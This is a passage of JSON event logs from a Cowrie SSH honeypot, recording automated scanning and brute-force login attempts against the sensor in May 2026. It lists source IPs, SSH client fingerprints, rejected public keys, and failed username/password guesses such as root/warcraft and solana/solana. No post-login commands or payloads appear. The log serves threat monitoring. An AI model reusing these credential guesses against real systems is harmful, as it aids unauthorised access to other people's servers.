{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:32:82:30:13:7c:8f:1b:7a:e2:87:1e:e2:ea:bb:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPCwJf+ELa5ixBOah22vmQv1R23jwoZ15A6wNDbA1MccXEmu+TZ2VyUbN5TYCmovMdXJF8WlYaUxutg7WVMgyWm7kZUl/BeH/8Y2i8xvGUqiaCHC88ZIuQOYa35+h6Wfios/p3PneeEFV5x7fCsYg4SP/aeU2LSoPk0u5D90ZO535zDXS0bLgaA6fRCkpavfiV9C3+VEJtsRoJnRL/07vvjgk+1TNe6TzBq27SBCrCSAkQJXULYRI+tFMwsv32eq7pmvPKrUEGcSyMX2F4eNzxqZsYhhHQ9J+C2n9VAPVTyQBU/GEOagR5sm25qIUxKD0tKhhB9efhSj6S3Q2DoLgx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:32:82:30:13:7c:8f:1b:7a:e2:87:1e:e2:ea:bb:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.474688Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:32:82:30:13:7c:8f:1b:7a:e2:87:1e:e2:ea:bb:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPCwJf+ELa5ixBOah22vmQv1R23jwoZ15A6wNDbA1MccXEmu+TZ2VyUbN5TYCmovMdXJF8WlYaUxutg7WVMgyWm7kZUl/BeH/8Y2i8xvGUqiaCHC88ZIuQOYa35+h6Wfios/p3PneeEFV5x7fCsYg4SP/aeU2LSoPk0u5D90ZO535zDXS0bLgaA6fRCkpavfiV9C3+VEJtsRoJnRL/07vvjgk+1TNe6TzBq27SBCrCSAkQJXULYRI+tFMwsv32eq7pmvPKrUEGcSyMX2F4eNzxqZsYhhHQ9J+C2n9VAPVTyQBU/GEOagR5sm25qIUxKD0tKhhB9efhSj6S3Q2DoLgx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.478211Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:6e:08:47:41:43:68:ce:98:c7:ad:d1:db:08:24:e6","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ54yU4UIrXOHxInPntSYeRQClHjq1ajpl9WVzbiHn5FM7NnQ36iap7r3VNCK19ChhANu4ENdKAosb3SwSsFYQfrZ9/mxk8OPIlQa4Q2PqmVeBK6A3xeneycLFxRtf7H87I8GgE2J72GaH1NnZ0dGg+rDnm5loQkMkJOEnyiAUn5AAAAFQCduO3Jxyyvc8s/u7QhXWs4xdX4oQAAAIAOxlvue1yXlnYF7dSn3XO3tTcsSO8yahMlrZDq4Ig4R+n2+moDX4bYQ+kwHKDX6YZmmu2midgRM0Z1BsMESInB1Az7LtbztuNNbeAu7SlzRzyW/MXZDbGFhgJuIVzR79bFRF8b83j4ChskXN2lDXoIYjAXTg25w2yxEfFIRE5ZewAAAIAVtcRMr8HqopKWhGfALbiFEF7d0/7XH88BFyexbGohG27ZmlSfVg5zBIMbeCiPvQrU8pTtruZu9x7CXggSQaG3UEkthMpplNeEIYo70un6d99RYzUoBK6/zVSIzNPtMrfbkaJukuqEOZoHL9jQhHw2ozmYaKQiMXOAbPXAh4Un+w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 5b:6e:08:47:41:43:68:ce:98:c7:ad:d1:db:08:24:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.605148Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:6e:08:47:41:43:68:ce:98:c7:ad:d1:db:08:24:e6","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ54yU4UIrXOHxInPntSYeRQClHjq1ajpl9WVzbiHn5FM7NnQ36iap7r3VNCK19ChhANu4ENdKAosb3SwSsFYQfrZ9/mxk8OPIlQa4Q2PqmVeBK6A3xeneycLFxRtf7H87I8GgE2J72GaH1NnZ0dGg+rDnm5loQkMkJOEnyiAUn5AAAAFQCduO3Jxyyvc8s/u7QhXWs4xdX4oQAAAIAOxlvue1yXlnYF7dSn3XO3tTcsSO8yahMlrZDq4Ig4R+n2+moDX4bYQ+kwHKDX6YZmmu2midgRM0Z1BsMESInB1Az7LtbztuNNbeAu7SlzRzyW/MXZDbGFhgJuIVzR79bFRF8b83j4ChskXN2lDXoIYjAXTg25w2yxEfFIRE5ZewAAAIAVtcRMr8HqopKWhGfALbiFEF7d0/7XH88BFyexbGohG27ZmlSfVg5zBIMbeCiPvQrU8pTtruZu9x7CXggSQaG3UEkthMpplNeEIYo70un6d99RYzUoBK6/zVSIzNPtMrfbkaJukuqEOZoHL9jQhHw2ozmYaKQiMXOAbPXAh4Un+w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.608358Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:b7:20:a4:2f:75:2f:16:79:3a:ad:85:8c:fb:49:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATYAN3XwgLTifvtgfdHbdlhTboceJ35A7riWzVgFRT3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 54:b7:20:a4:2f:75:2f:16:79:3a:ad:85:8c:fb:49:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.735754Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:b7:20:a4:2f:75:2f:16:79:3a:ad:85:8c:fb:49:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATYAN3XwgLTifvtgfdHbdlhTboceJ35A7riWzVgFRT3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.740944Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.869588Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35266,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85808c36c95","protocol":"ssh","message":"New connection: 89.108.118.91:35266 (159.203.135.109:22) [session: a85808c36c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:49.317073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:49.321659Z","src_ip":"89.108.118.91","session":"a85808c36c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:49.458285Z","src_ip":"89.108.118.91","session":"a85808c36c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krasnodar","message":"login attempt [root/krasnodar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:49.867922Z","src_ip":"89.108.118.91","session":"a85808c36c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:51.006087Z","src_ip":"89.108.118.91","session":"a85808c36c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":21221,"dst_ip":"159.203.135.109","dst_port":22,"session":"65c8ede1437c","protocol":"ssh","message":"New connection: 79.127.181.44:21221 (159.203.135.109:22) [session: 65c8ede1437c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:01.756168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:01.965076Z","src_ip":"79.127.181.44","session":"65c8ede1437c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:02.168751Z","src_ip":"79.127.181.44","session":"65c8ede1437c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:02.175081Z","src_ip":"79.127.181.44","session":"65c8ede1437c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46474,"dst_ip":"159.203.135.109","dst_port":22,"session":"3737fcab6055","protocol":"ssh","message":"New connection: 77.94.47.83:46474 (159.203.135.109:22) [session: 3737fcab6055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:07.797863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:07.803263Z","src_ip":"77.94.47.83","session":"3737fcab6055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:07.926522Z","src_ip":"77.94.47.83","session":"3737fcab6055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa","message":"login attempt [root/aaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:08.305632Z","src_ip":"77.94.47.83","session":"3737fcab6055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:09.430970Z","src_ip":"77.94.47.83","session":"3737fcab6055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35786,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca06d0fd0b52","protocol":"ssh","message":"New connection: 103.98.149.87:35786 (10.17.0.5:22) [session: ca06d0fd0b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:21.293157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:21.403092Z","src_ip":"103.98.149.87","session":"ca06d0fd0b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:21.592524Z","src_ip":"103.98.149.87","session":"ca06d0fd0b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warcraft","message":"login attempt [root/warcraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:22.717995Z","src_ip":"103.98.149.87","session":"ca06d0fd0b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:23.953290Z","src_ip":"103.98.149.87","session":"ca06d0fd0b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51055,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f641ccc90ec","protocol":"ssh","message":"New connection: 152.42.212.128:51055 (159.203.135.109:22) [session: 1f641ccc90ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:44.656994Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:44.662493Z","src_ip":"152.42.212.128","session":"1f641ccc90ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:59:44.666767Z","src_ip":"152.42.212.128","session":"1f641ccc90ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50978,"dst_ip":"159.203.135.109","dst_port":22,"session":"29fe95cb3809","protocol":"ssh","message":"New connection: 80.94.92.186:50978 (159.203.135.109:22) [session: 29fe95cb3809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:00:27.840517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:00:27.845190Z","src_ip":"80.94.92.186","session":"29fe95cb3809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:00:27.963550Z","src_ip":"80.94.92.186","session":"29fe95cb3809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:00:28.283617Z","src_ip":"80.94.92.186","session":"29fe95cb3809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:00:29.468578Z","src_ip":"80.94.92.186","session":"29fe95cb3809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33796,"dst_ip":"159.203.135.109","dst_port":22,"session":"21333c502e50","protocol":"ssh","message":"New connection: 103.172.78.219:33796 (159.203.135.109:22) [session: 21333c502e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:37.365409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:37.370490Z","src_ip":"103.172.78.219","session":"21333c502e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:37.626503Z","src_ip":"103.172.78.219","session":"21333c502e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5530","message":"login attempt [root/nokia5530] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:38.393068Z","src_ip":"103.172.78.219","session":"21333c502e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:39.651446Z","src_ip":"103.172.78.219","session":"21333c502e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.238","src_port":24042,"dst_ip":"10.17.0.5","dst_port":22,"session":"93401deaab19","protocol":"ssh","message":"New connection: 69.5.169.238:24042 (10.17.0.5:22) [session: 93401deaab19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:41.185478Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:41.273958Z","src_ip":"69.5.169.238","session":"93401deaab19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49010,"dst_ip":"159.203.135.109","dst_port":22,"session":"389b9b1b7f4e","protocol":"ssh","message":"New connection: 103.183.114.55:49010 (159.203.135.109:22) [session: 389b9b1b7f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:47.481639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:47.486246Z","src_ip":"103.183.114.55","session":"389b9b1b7f4e","protocol":"ssh"}
